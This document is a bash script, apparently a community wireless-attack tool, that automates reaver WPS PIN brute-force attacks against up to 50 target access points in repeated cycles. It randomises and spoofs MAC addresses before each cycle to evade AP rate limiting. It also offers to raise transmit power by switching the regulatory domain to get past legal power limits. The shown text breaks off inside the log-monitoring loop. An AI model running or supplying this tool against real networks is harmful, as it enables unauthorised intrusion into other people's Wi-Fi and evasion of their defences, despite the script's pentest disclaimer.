#!/bin/bash
# This program is free software; you can redistribute it and/or modify it under the terms of
# the GNU General Public 
# License as published by the Free Software Foundation; either version 2 of the License, or
# any later version.
# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\
# without even the implied 
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public
# License for more details.
# You should have received a copy of the GNU General Public License along with this program;
# if not, write to the
# Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
# #--------------------------------------------------------------------------------------------------------------------
#

# Disclaimer:   This script is intended for use only for private study or during an authorised
# pentest. The author bears no responsibility for malicious or illegal use.
#               Skiddies should look elsewhere.
#
# !!!!!!!Thanks to Vulpi author of pwnstar9.0 who's scripts taught us so much!!!!!!!
# !!!!!!! All thanks for this program should be sent to him !!!!!!!
##############################################
# ANSI code routines from Vulpi author of
#              PwnStar9.0 
txtrst="\e[0m"      # Text reset 
warn="\e[1;31m"     # warning		   red         
info="\e[1;34m"     # info                 blue             
q="\e[1;32m"	    # questions            green
inp="\e[1;36m"	    # input variables      magenta
yel="\e[1;33m"      # typed keyboard entries
##############################################

echo -e "$info varmacreaversav9-93"
echo -e ""
echo -e "$yel                            ||||||||||||||||||||||||"
echo -e "$yel                            ||$info   VARMACREAVERSAV$yel  ||"
echo -e "$yel                            ||||||||||||||||||||||||"
echo ""
echo -e "$info                 In Memory of Alan M. Turing and the work of Betchly Park"
echo -e "$info       If you eliminate the wrong solutions you are left with the right answer."
echo ""
echo -e "$info                        A Musket Team Muli-target WPS Pin Harvester"
echo -e "$info                                                                        "      
echo -e "$warn  <<< ALL EXISTING MONITOR INTERFACES $yel(i.e. mon0 mon1 etc.)$warn WILL BE CLEARED >>>"
echo -e "$info  <<< A $yel maclistreaversav$info configuration file$warn MUST$info be written before continuing >>>"
echo -e "$info                      <<<See help files and file example >>>"
echo ""
echo -e "$q                     ???????????????????????????????????"
echo -e "$q                       ??Do you wish to continue....??$txtrst"

echo -e ""
while true

do
echo -e "$inp              Please confirm by pressing $yel(y/Y)$inp to continue...."
echo -e "         Press $yel(n/N)$inp to abort!!..Press any other key to try again:$txtrst"

  read CONFIRM
  case $CONFIRM in
    y|Y|YES|yes|Yes) break ;;
    n|N|no|NO|No)
      echo Aborting - you entered $CONFIRM
      exit
      ;;

  esac
done
echo -e "$info  You entered $CONFIRM.  Continuing ...$txtrst"
sleep 3

clear

airmon-ng stop mon5 &> /dev/null
airmon-ng stop mon4 &> /dev/null
airmon-ng stop mon3 &> /dev/null
airmon-ng stop mon2 &> /dev/null
airmon-ng stop mon1 &> /dev/null
airmon-ng stop mon0 &> /dev/null




######make directory for reaver output #############

if [[ ! -d "VARMAC_LOGS" ]]; then
    mkdir -p -m 700 VARMAC_LOGS;

	fi

##################end make dir######################

#remove any possible unary operator warning for variables not used

WPS_PIN1=180
WPS_PIN2=180
WPS_PIN3=180
WPS_PIN4=180
WPS_PIN5=180
WPS_PIN6=180
WPS_PIN7=180
WPS_PIN8=180
WPS_PIN9=180
WPS_PIN10=180
WPS_PIN11=180
WPS_PIN12=180
WPS_PIN13=180
WPS_PIN14=180
WPS_PIN15=180
WPS_PIN16=180
WPS_PIN17=180
WPS_PIN18=180
WPS_PIN19=180
WPS_PIN20=180
WPS_PIN21=180
WPS_PIN22=180
WPS_PIN23=180
WPS_PIN24=180
WPS_PIN25=180
WPS_PIN26=180
WPS_PIN27=180
WPS_PIN28=180
WPS_PIN29=180
WPS_PIN30=180
WPS_PIN31=180
WPS_PIN32=180
WPS_PIN33=180
WPS_PIN34=180
WPS_PIN35=180
WPS_PIN36=180
WPS_PIN37=180
WPS_PIN38=180
WPS_PIN39=180
WPS_PIN40=180
WPS_PIN41=180
WPS_PIN42=180
WPS_PIN43=180
WPS_PIN44=180
WPS_PIN45=180
WPS_PIN46=180
WPS_PIN47=180
WPS_PIN48=180
WPS_PIN49=180
WPS_PIN50=180
#

USE_PIN1=XXX
USE_PIN2=XXX
USE_PIN3=XXX
USE_PIN4=XXX
USE_PIN5=XXX
USE_PIN6=XXX
USE_PIN7=XXX
USE_PIN8=XXX
USE_PIN9=XXX
USE_PIN10=XXX
USE_PIN11=XXX
USE_PIN12=XXX
USE_PIN13=XXX
USE_PIN14=XXX
USE_PIN15=XXX
USE_PIN16=XXX
USE_PIN17=XXX
USE_PIN18=XXX
USE_PIN19=XXX
USE_PIN20=XXX
USE_PIN21=XXX
USE_PIN22=XXX
USE_PIN23=XXX
USE_PIN24=XXX
USE_PIN25=XXX
USE_PIN26=XXX
USE_PIN27=XXX
USE_PIN28=XXX
USE_PIN29=XXX
USE_PIN30=XXX
USE_PIN31=XXX
USE_PIN32=XXX
USE_PIN33=XXX
USE_PIN34=XXX
USE_PIN35=XXX
USE_PIN36=XXX
USE_PIN37=XXX
USE_PIN38=XXX
USE_PIN39=XXX
USE_PIN40=XXX
USE_PIN41=XXX
USE_PIN42=XXX
USE_PIN43=XXX
USE_PIN44=XXX
USE_PIN45=XXX
USE_PIN46=XXX
USE_PIN47=XXX
USE_PIN48=XXX
USE_PIN49=XXX
USE_PIN50=XXX
#
KEEP_FILE1=XXX
KEEP_FILE2=XXX
KEEP_FILE3=XXX
KEEP_FILE4=XXX
KEEP_FILE5=XXX
KEEP_FILE6=XXX
KEEP_FILE7=XXX
KEEP_FILE8=XXX
KEEP_FILE9=XXX
KEEP_FILE10=XXX
KEEP_FILE11=XXX
KEEP_FILE12=XXX
KEEP_FILE13=XXX
KEEP_FILE14=XXX
KEEP_FILE15=XXX
KEEP_FILE16=XXX
KEEP_FILE17=XXX
KEEP_FILE18=XXX
KEEP_FILE19=XXX
KEEP_FILE20=XXX
KEEP_FILE21=XXX
KEEP_FILE22=XXX
KEEP_FILE23=XXX
KEEP_FILE24=XXX
KEEP_FILE25=XXX
KEEP_FILE26=XXX
KEEP_FILE27=XXX
KEEP_FILE28=XXX
KEEP_FILE29=XXX
KEEP_FILE30=XXX
KEEP_FILE31=XXX
KEEP_FILE32=XXX
KEEP_FILE33=XXX
KEEP_FILE34=XXX
KEEP_FILE35=XXX
KEEP_FILE36=XXX
KEEP_FILE37=XXX
KEEP_FILE38=XXX
KEEP_FILE39=XXX
KEEP_FILE40=XXX
KEEP_FILE41=XXX
KEEP_FILE42=XXX
KEEP_FILE43=XXX
KEEP_FILE44=XXX
KEEP_FILE45=XXX
KEEP_FILE46=XXX
KEEP_FILE47=XXX
KEEP_FILE48=XXX
KEEP_FILE49=XXX
KEEP_FILE50=XXX
#
NAME1=XXX
NAME2=XXX
NAME3=XXX
NAME4=XXX
NAME5=XXX
NAME6=XXX
NAME7=XXX
NAME8=XXX
NAME9=XXX
NAME10=XXX
NAME11=XXX
NAME12=XXX
NAME13=XXX
NAME14=XXX
NAME15=XXX
NAME16=XXX
NAME17=XXX
NAME18=XXX
NAME19=XXX
NAME20=XXX
NAME21=XXX
NAME22=XXX
NAME23=XXX
NAME24=XXX
NAME25=XXX
NAME26=XXX
NAME27=XXX
NAME28=XXX
NAME29=XXX
NAME30=XXX
NAME31=XXX
NAME32=XXX
NAME33=XXX
NAME34=XXX
NAME35=XXX
NAME36=XXX
NAME37=XXX
NAME38=XXX
NAME39=XXX
NAME40=XXX
NAME41=XXX
NAME42=XXX
NAME43=XXX
NAME44=XXX
NAME45=XXX
NAME46=XXX
NAME47=XXX
NAME48=XXX
NAME49=XXX
NAME50=XXX
#
LIVE1=180
LIVE2=180
LIVE3=180
LIVE4=180
LIVE5=180
LIVE6=180
LIVE7=180
LIVE8=180
LIVE9=180
LIVE10=180
LIVE11=180
LIVE12=180
LIVE13=180
LIVE14=180
LIVE15=180
LIVE16=180
LIVE17=180
LIVE18=180
LIVE19=180
LIVE20=180
LIVE21=180
LIVE22=180
LIVE23=180
LIVE24=180
LIVE25=180
LIVE26=180
LIVE27=180
LIVE28=180
LIVE29=180
LIVE30=180
LIVE31=180
LIVE32=180
LIVE33=180
LIVE34=180
LIVE35=180
LIVE36=180
LIVE37=180
LIVE38=180
LIVE39=180
LIVE40=180
LIVE41=180
LIVE42=180
LIVE43=180
LIVE44=180
LIVE45=180
LIVE46=180
LIVE47=180
LIVE48=180
LIVE49=180
LIVE50=180
#
USE_R1=ZZZ
USE_R2=ZZZ
USE_R3=ZZZ
USE_R4=ZZZ
USE_R5=ZZZ
USE_R6=ZZZ
USE_R7=ZZZ
USE_R8=ZZZ
USE_R9=ZZZ
USE_R10=ZZZ
USE_R11=ZZZ
USE_R12=ZZZ
USE_R13=ZZZ
USE_R14=ZZZ
USE_R15=ZZZ
USE_R16=ZZZ
USE_R17=ZZZ
USE_R18=ZZZ
USE_R19=ZZZ
USE_R20=ZZZ
USE_R21=ZZZ
USE_R22=ZZZ
USE_R23=ZZZ
USE_R24=ZZZ
USE_R25=ZZZ
USE_R26=ZZZ
USE_R27=ZZZ
USE_R28=ZZZ
USE_R29=ZZZ
USE_R30=ZZZ
USE_R31=ZZZ
USE_R32=ZZZ
USE_R33=ZZZ
USE_R34=ZZZ
USE_R35=ZZZ
USE_R36=ZZZ
USE_R37=ZZZ
USE_R38=ZZZ
USE_R39=ZZZ
USE_R40=ZZZ
USE_R41=ZZZ
USE_R42=ZZZ
USE_R43=ZZZ
USE_R44=ZZZ
USE_R45=ZZZ
USE_R46=ZZZ
USE_R47=ZZZ
USE_R48=ZZZ
USE_R49=ZZZ
USE_R50=ZZZ
#
USE_LONG1=ZZZ
USE_LONG2=ZZZ
USE_LONG3=ZZZ
USE_LONG4=ZZZ
USE_LONG5=ZZZ
USE_LONG6=ZZZ
USE_LONG7=ZZZ
USE_LONG8=ZZZ
USE_LONG9=ZZZ
USE_LONG10=ZZZ
USE_LONG11=ZZZ
USE_LONG12=ZZZ
USE_LONG13=ZZZ
USE_LONG14=ZZZ
USE_LONG15=ZZZ
USE_LONG16=ZZZ
USE_LONG17=ZZZ
USE_LONG18=ZZZ
USE_LONG19=ZZZ
USE_LONG20=ZZZ
USE_LONG21=ZZZ
USE_LONG22=ZZZ
USE_LONG23=ZZZ
USE_LONG24=ZZZ
USE_LONG25=ZZZ
USE_LONG26=ZZZ
USE_LONG27=ZZZ
USE_LONG28=ZZZ
USE_LONG29=ZZZ
USE_LONG30=ZZZ
USE_LONG31=ZZZ
USE_LONG32=ZZZ
USE_LONG33=ZZZ
USE_LONG34=ZZZ
USE_LONG35=ZZZ
USE_LONG36=ZZZ
USE_LONG37=ZZZ
USE_LONG38=ZZZ
USE_LONG39=ZZZ
USE_LONG40=ZZZ
USE_LONG41=ZZZ
USE_LONG42=ZZZ
USE_LONG43=ZZZ
USE_LONG44=ZZZ
USE_LONG45=ZZZ
USE_LONG46=ZZZ
USE_LONG47=ZZZ
USE_LONG48=ZZZ
USE_LONG49=ZZZ
USE_LONG50=ZZZ
#


##### end of remove any possible unary operator warning for variables not used

ERAS=ZZZ

EAPOL="[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred"


##########source file names and existance###############

FILECHOOSETEST=ZZZ

until  [ $FILECHOOSETEST == y ] || [ $FILECHOOSETEST == Y ]; do  
echo -e "$txtrst "
clear
echo ""
echo -e "$q  Do you wish to use$yel maclistreaversav$q as your configuration file?"
echo -e "$info     If you wish to use a different file enter $yel (n/N)$info and follow"
echo -e "$info       program prompts."
echo -e "$info    Type$yel (y/Y)$info for yes or$yel (n/N)$info for no.$txtrst"
read FILECHOOSE

	while true
	do
	echo ""

echo -e "$inp  You entered $yel$FILECHOOSE$info type $yel(y/Y)$inp to confirm or $yel(n/N)$inp to try again$txtrst"
read FILECHOOSETEST

	case $FILECHOOSETEST in
	y|Y|n|N) break ;;
	~|~~)
	echo Aborting -
	exit
	;;

	esac
	echo -e  "$warn  !!!Wrong input try again!!!$txtrst"

	done

		done


        if [[ ! -f /root/maclistreaversav && $FILECHOOSE == y ]] || [[ ! -f /root/maclistreaversav && $FILECHOOSE == Y ]]; then


while true
       do
echo -e "$warn  A$yel maclistreaversav$warn file is not present,$inp enter$yel (y/Y)$inp when ready to continue.... OR"
echo -e "         Press $yel(n/N)$inp to abort!! $txtrst"

  read CONFIRM
  case $CONFIRM in
    y|Y|YES|yes|Yes) break ;;
    n|N|no|NO|No)
      echo Aborting - you entered $CONFIRM
      exit
      ;;

	esac
		done         

echo -e "$info  You entered $CONFIRM  Continuing ...$txtrst"
			fi




if  [ $FILECHOOSE == n ] || [ $FILECHOOSE == N ]; then

SOURCENAMETEST=ZZZ

until  [ $SOURCENAMETEST == y ] || [ $SOURCENAMETEST == Y ]; do  
echo -e "$txtrst"
echo ""
echo -e "$inp  Enter the name of your$yel configuration$inp file.$txtrst"

read SOURCENAME
	while true
	do
	echo ""

echo -e "$inp  You entered $yel $SOURCENAME $info type $yel(y/Y)$inp to confirm or $yel(n/N)$inp to try again.$txtrst"
read SOURCENAMETEST

	case $SOURCENAMETEST in
	y|Y|n|N) break ;;
	~|~~)
	echo Aborting -
	exit
	;;

	esac
	echo -e  "$warn  !!!Wrong input try again!!!$txtrst"

	done

		done

			fi



        if [[ ! -f /root/$SOURCENAME && $FILECHOOSE == n ]] || [[ ! -f /root/$SOURCENAME && $FILECHOOSE == N ]]; then

while true
       do
echo -e "$warn  A $SOURCENAME FILE is not present,$inp enter$yel (y/Y)$inp when ready to continue.... OR"
echo -e "         Press $yel(n/N)$inp to abort!!$txtrst"

  read CONFIRM
  case $CONFIRM in
    y|Y|YES|yes|Yes) break ;;
    n|N|no|NO|No)
      echo Aborting - you entered $CONFIRM
      exit
      ;;

	esac
		done         

echo -e "$info  You entered $CONFIRM  Continuing ...$txtrst"

			fi


sleep 2

if  [ $FILECHOOSE == y ] || [ $FILECHOOSE == Y ]; then



source maclistreaversav
echo " "

	fi

if  [ $FILECHOOSE == n ] || [ $FILECHOOSE == N ]; then


source $SOURCENAME
echo " "

	fi
sleep 5
# LIVE error handling

if [ $LIVE1 -lt 120 ] || [ $LIVE2 -lt 120 ] || [ $LIVE3 -lt 120 ] || [ $LIVE4 -lt 120 ] || [ $LIVE5 -lt 120 ] || [ $LIVE6 -lt 120 ] || [ $LIVE7 -lt 120 ] || [ $LIVE8 -lt 120 ] || [ $LIVE9 -lt 120 ] || [ $LIVE10 -lt 120 ] || [ $LIVE11 -lt 120 ] || [ $LIVE12 -lt 120 ] || [ $LIVE13 -lt 120 ] || [ $LIVE14 -lt 120 ] || [ $LIVE15 -lt 120 ] || [ $LIVE16 -lt 120 ] || [ $LIVE17 -lt 120 ] || [ $LIVE18 -lt 120 ] || [ $LIVE19 -lt 120 ] || [ $LIVE20 -lt 120 ] || [ $LIVE21 -lt 120 ] || [ $LIVE22 -lt 120 ] || [ $LIVE23 -lt 120 ] || [ $LIVE24 -lt 120 ] || [ $LIVE25 -lt 120 ] || [ $LIVE26 -lt 120 ] || [ $LIVE27 -lt 120 ] || [ $LIVE28 -lt 120 ] || [ $LIVE29 -lt 120 ] || [ $LIVE30 -lt 120 ] || [ $LIVE31 -lt 120 ] || [ $LIVE32 -lt 120 ] || [ $LIVE33 -lt 120 ] || [ $LIVE34 -lt 120 ] || [ $LIVE35 -lt 120 ] || [ $LIVE36 -lt 120 ] || [ $LIVE37 -lt 120 ] || [ $LIVE38 -lt 120 ] || [ $LIVE39 -lt 120 ] || [ $LIVE40 -lt 120 ] || [ $LIVE41 -lt 120 ] || [ $LIVE42 -lt 120 ] || [ $LIVE43 -lt 120 ] || [ $LIVE44 -lt 120 ] || [ $LIVE45 -lt 120 ] || [ $LIVE46 -lt 120 ] || [ $LIVE47 -lt 120 ] || [ $LIVE48 -lt 120 ] || [ $LIVE49 -lt 120 ] || [ $LIVE50 -lt 120 ]; then

sleep 2
	if  [ $FILECHOOSE == y ] || [ $FILECHOOSE == Y ]; then

echo " "
echo -e "$warn  A LIVE= entry in the$yel maclistreaversav$warn configuration file is"
echo -e "      less than$yel 120$warn.This will cause the program to fail. Shut down program,"
echo -e "       correct the entry and start again.$txtrst"

					fi

	if  [ $FILECHOOSE == n ] || [ $FILECHOOSE == N ]; then

echo -e "$warn  A LIVE= entry in the$yel $SOURCENAME$warn configuration file is"
echo -e "      less than$yel 120$warn.This will cause the program to fail. Shut down program,"
echo -e "       correct the entry and start again.$txt"


				fi
					fi


while true

do
echo ""
echo -e "$info  The configuration file is loading. If no error messages are seen above"
echo -e "$inp     press$yel (y/Y)$inp to continue....If error messages are seen"
echo -e "$inp        press $yel (n/N)$inp to abort and correct the errors!!$txtrst"

  read CONFIRM
  case $CONFIRM in
    y|Y|YES|yes|Yes) break ;;
    n|N|no|NO|No)
      echo Aborting - you entered $CONFIRM
      exit
      ;;

  esac
done
echo -e "$info  You entered $CONFIRM.  Continuing ...$txtrst"
sleep 3

clear



#REAVERFILE=""
REAVERDIR="VARMAC_LOGS"
#look for empty dir
NOTEMPT=ZZZ
if [ "$(ls -A $REAVERDIR)" ]; then

      NOTEMPT=1

	fi


if [ $NOTEMPT == 1 ]; then

echo ""    
echo -e "$warn         !!!!The VARMAC_LOG directory is not empty.!!!!" 

ERASTEST=ZZZ
#ERAS=ZZZ
until  [ $ERASTEST == y ] || [ $ERASTEST == Y ]; do  
echo -e "$txtrst"
echo -e "$q  Do you wish to erase all files in the VARMAC_LOG Directory?"
echo -e "$info     Leaving these files in place will not affect the program."
echo "" 
echo -e "$inp  Type$yel(y/Y)$inp to erase these files or$yel(n/N)$inp to $txtrst"
echo -e "$inp    leave these files in place.$txtrst"
read ERAS
	while true
	do
	echo ""

echo -e "$inp  You entered$yel $ERAS $info type $yel(y/Y)$inp to confirm or $yel(n/N)$inp to try again$txtrst"
read ERASTEST

	case $ERASTEST in
	y|Y|n|N) break ;;
	~|~~)
	echo Aborting -
	exit
	;;

	esac
	echo -e  "$warn  !!!Wrong input try again!!!$txtrst"

	done

		done



			fi



if [ $ERAS == y ] || [ $ERAS == Y ]; then


	rm -rfv VARMAC_LOGS/* &> /dev/null


		fi
##################Retain original names for text warning##########
NMEWARN1=$NAME1
NMEWARN2=$NAME2
NMEWARN3=$NAME3
NMEWARN4=$NAME4
NAMWARN5=$NAME5
NMEWARN6=$NAME6
NMEWARN7=$NAME7
NMEWARN8=$NAME8
NMEWARN9=$NAME9
NMEWARN10=$NAME10
NMEWARN11=$NAME11
NMEWARN12=$NAME12
NMEWARN13=$NAME13
NMEWARN14=$NAME14
NMEWARN15=$NAME15
NMEWARN16=$NAME16
NMEWARN17=$NAME17
NMEWARN18=$NAME18
NMEWARN19=$NAME19
NMEWARN20=$NAME20
NMEWARN21=$NAME21
NMEWARN22=$NAME22
NMEWARN23=$NAME23
NMEWARN24=$NAME24
NMEWARN25=$NAME25
NMEWARN26=$NAME26
NMEWARN27=$NAME27
NMEWARN28=$NAME28
NMEWARN29=$NAME29
NMEWARN30=$NAME30
NMEWARN31=$NAME31
NMEWARN32=$NAME32
NMEWARN33=$NAME33
NMEWARN34=$NAME34
NMEWARN35=$NAME35
NMEWARN36=$NAME36
NMEWARN37=$NAME37
NMEWARN38=$NAME38
NMEWARN39=$NAME39
NMEWARN40=$NAME40
NMEWARN41=$NAME41
NMEWARN42=$NAME42
NMEWARN43=$NAME43
NMEWARN44=$NAME44
NMEWARN45=$NAME45
NMEWARN46=$NAME46
NMEWARN47=$NAME47
NMEWARN48=$NAME48
NMEWARN49=$NAME49
NMEWARN50=$NAME50

##########End retain original name for reaver warnings########

###########Remove Spaces in Names for file names#########

NAME1=${NAME1// /_}
NAME2=${NAME2// /_}
NAME3=${NAME3// /_}
NAME4=${NAME4// /_}
NAME5=${NAME5// /_}
NAME6=${NAME6// /_}
NAME7=${NAME7// /_}
NAME8=${NAME8// /_}
NAME9=${NAME9// /_}
NAME10=${NAME10// /_}
NAME11=${NAME11// /_}
NAME12=${NAME12// /_}
NAME13=${NAME13// /_}
NAME14=${NAME14// /_}
NAME15=${NAME15// /_}
NAME16=${NAME16// /_}
NAME17=${NAME17// /_}
NAME18=${NAME18// /_}
NAME19=${NAME19// /_}
NAME20=${NAME20// /_}
NAME21=${NAME21// /_}
NAME22=${NAME22// /_}
NAME23=${NAME23// /_}
NAME24=${NAME24// /_}
NAME25=${NAME25// /_}
NAME26=${NAME26// /_}
NAME27=${NAME27// /_}
NAME28=${NAME28// /_}
NAME29=${NAME29// /_}
NAME30=${NAME30// /_}
NAME31=${NAME31// /_}
NAME32=${NAME32// /_}
NAME33=${NAME33// /_}
NAME34=${NAME34// /_}
NAME35=${NAME35// /_}
NAME36=${NAME36// /_}
NAME37=${NAME37// /_}
NAME38=${NAME38// /_}
NAME39=${NAME39// /_}
NAME40=${NAME40// /_}
NAME41=${NAME41// /_}
NAME42=${NAME42// /_}
NAME43=${NAME43// /_}
NAME44=${NAME44// /_}
NAME45=${NAME45// /_}
NAME46=${NAME46// /_}
NAME47=${NAME47// /_}
NAME48=${NAME48// /_}
NAME49=${NAME49// /_}
NAME50=${NAME50// /_}

##########End Remove Spaces in Names#########

sleep 2
clear
##########END OF source file names and existance#############
echo ""
iwconfig
DEVTEST=ZZZ
until  [ $DEVTEST == y ] || [ $DEVTEST == Y ]; do  
echo -e "$txtrst "

echo ""
echo -e "$q  What wireless device will you use to perform the attack$yel(i.e. wlan0,ath0 etc)$q?"
echo -e "$info    A listing of devices is shown above.$txtrst" #(DEV)
read DEV
	while true
	do
	echo ""

echo -e "$inp  You entered $yel$DEV$info type $yel(y/Y)$inp to confirm or $yel(n/N)$inp to try again.$txtrst"
read DEVTEST

	case $DEVTEST in
	y|Y|n|N) break ;;
	~|~~)
	echo Aborting -
	exit
	;;

	esac
	echo -e  "$warn  !!!Wrong input try again!!!$txtrst"

	done

		done

#####################################

ifconfig $DEV down
iwconfig $DEV mode managed
ifconfig $DEV up





clear
	while true
	do
	echo ""
echo -e "$q  Do you wish to boost your wifi device power to 30dBm?"
echo -e "$info     This routine works for the AWUSO36H and" #(AWUSO)
echo -e "$info       may work with other devices."
echo -e "$inp         Type $yel(y/Y)$inp for yes or $yel(n/N)$inp for no.$txtrst"
		read AWUSO
		case $AWUSO in
		y|Y|n|N) break ;;
		~|~~)
		echo Aborting -
		exit
		;;

		esac
		echo -e  "$warn !!!Wrong input try again!!!$txtrst"

			done


	if [ $AWUSO == y ] || [ $AWUSO == Y ]; then
		ifconfig $DEV down
		sleep 1
		iw reg set BO
		ifconfig $DEV up
		iwconfig $DEV channel 13
		iwconfig $DEV txpower 30
		iwconfig $DEV rate 1M
        	sleep 2
 
			fi


echo -e "$info  Assigning a random mac address to device.$txtrst"
        sleep 2

ifconfig $DEV down
sleep 2
macchanger -r $DEV
sleep 2
VARMAC=$(ifconfig $DEV | grep "$DEV     Link encap:Ethernet  HWaddr " | sed s/"$DEV     Link encap:Ethernet  HWaddr "//g)
sleep 2
ifconfig $DEV hw ether $VARMAC
sleep 2
ifconfig $DEV up
airmon-ng start $DEV
	sleep 2


        clear






#############################################
MONTEST=ZZZ
until  [ $MONTEST == y ] || [ $MONTEST == Y ]; do  
echo -e "$txtrst "
clear
iwconfig
echo ""
echo -e "$q  What wireless monitor interface $yel(i.e. mon0, mon1)$q will"
echo -e "     be used by reaver?"
echo -e "$info      A listing of devices is shown above.$txtrst" #(MON)
read MON

	while true
	do
	echo ""

echo -e "$inp  You entered $yel$MON$info type $yel(y/Y)$inp to confirm or $yel(n/N)$inp to try again.$txtrst"
read MONTEST

	case $MONTEST in
	y|Y|n|N) break ;;
	~|~~)
	echo Aborting -
	exit
	;;

	esac
	echo -e  "$warn  !!!Wrong input try again!!!$txtrst"

	done

		done

#############################################################

echo -e "$info  Assigning $yel$DEV$info mac address to $yel$MON$info.$txtrst"
ifconfig $MON down
sleep 1
macchanger -m $VARMAC $MON
sleep .1
ifconfig $MON up
ifconfig $DEV down
iwconfig $DEV mode monitor
ifconfig $DEV up


sleep 1


#=====================PAUSE================
PAUSETEST=ZZZ
until  [ $PAUSETEST == y ] || [ $PAUSETEST == Y ]; do  

clear
echo ""

echo -e "$q How long  do you want the program to pause in $yel minutes$q after"
echo -e "$q   completing the series of attacks against the targetAPs listed"
echo -e "$q     in the configuration file?"
echo -e "$info Enter $yel 0 (zero)$info for no delay in restarting pin harvesting.$txtrst"
read PAUSE

	while true
	do
	echo ""

echo -e "$inp  You entered $yel$PAUSE$info type $yel(y/Y)$inp to confirm or $yel(n/N)$inp to try again.$txtrst"
read PAUSETEST

	case $PAUSETEST in
	y|Y|n|N) break ;;
	~|~~)
	echo Aborting -
	exit
	;;

	esac
	echo -e  "$warn  !!!Wrong input try again!!!$txtrst"

	done

		done

let PAUSESEC=PAUSE*60
#
#=====================end PAUSE==============

clear

COUNTTEST=ZZZ
until  [ $COUNTTEST == y ] || [ $COUNTTEST == Y ]; do  

clear
echo ""

echo -e "$q  How many times do you want the program to cycle thru all targetAPs? (COUNT)"
echo ""
echo -e "$warn     !!!!Enter a number less then 100,000!!!!$txtrst"
read COUNT


while  [ $COUNT -gt 99999 ]; do
        echo -e "$warn  !!!Please enter a number less than 100,000!!!"
	echo -e "$q     How many times do you want the program to cycle thru all targetAPs?(COUNT)$txtrst"
      	read COUNT

	done

while true
	do
	echo ""
	echo -e "$inp  You entered $yel$COUNT$inp type $yel(y/Y)$inp to confirm or $yel(n/N)$inp to try again.$txtrst"
	read COUNTTEST

	case $COUNTTEST in
	y|Y|n|N) break ;;
	~|~~)
	echo Aborting -
	exit
	;;

	esac
	echo -e  "$warn  !!!Wrong input try again!!!$txtrst"

	done

		done


FN=1

let COUNTSTART=COUNT


while  [ $COUNT -gt 0 ]; do


if [ $COUNTSTART -lt 1000 ]; then

	PAD=`printf "%03d\n" $FN`
	if [ $FN -gt 1 ]; then
   	let PF=FN-1
   	CF=`printf "%03d\n" $PF`
		fi	
	fi

if [ $COUNTSTART -gt 999 ] && [ $COUNTSTART -lt 10000 ]; then

	PAD=`printf "%04d\n" $FN`
	if [ $FN -gt 1 ]; then
   	let PF=FN-1
   	CF=`printf "%04d\n" $PF`
		fi

	fi

if [ $COUNTSTART -gt 9999 ] && [ $COUNTSTART -lt 100000 ]; then

	PAD=`printf "%05d\n" $FN`
	if [ $FN -gt 1 ]; then
   	let PF=FN-1
   	CF=`printf "%05d\n" $PF`
		fi

	fi
echo -e "$txtrst"
DATEFILE=$(date +%y%m%d-%H:%M)


#$TARGETAP1-$DATEFILE-$PAD Note hours and min added to avoid overwrite

	ifconfig $DEV down
	iwconfig $DEV mode managed
	ifconfig $DEV up  
  	ifconfig $DEV down
#
	sleep 2
#
	macchanger -r $DEV
#
	sleep 2
#
	VARMAC=$(ifconfig $DEV | grep "$DEV     Link encap:Ethernet  HWaddr " | sed s/"$DEV     Link encap:Ethernet  HWaddr "//g)
#
	sleep 2
#
	ifconfig $DEV hw ether $VARMAC
#
	sleep 2
#
	ifconfig $DEV up
#
	ifconfig $MON down
	macchanger -m $VARMAC $MON
        sleep 2
	ifconfig $MON up
	ifconfig $DEV down
	iwconfig $DEV mode monitor
	ifconfig $DEV up

sleep 2 
clear
###############################Start USR Block################################################

if [[ $USE_R1 == n || $USE_R1 == N ]] && [[ $USE_LONG1 == n || $USE_LONG1 == N ]] && [[ $USE_PIN1 == n || $USE_PIN1 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME1"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL1"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP1"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE1 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME1-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL1 -b $TARGETAP1 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME1-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE1-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

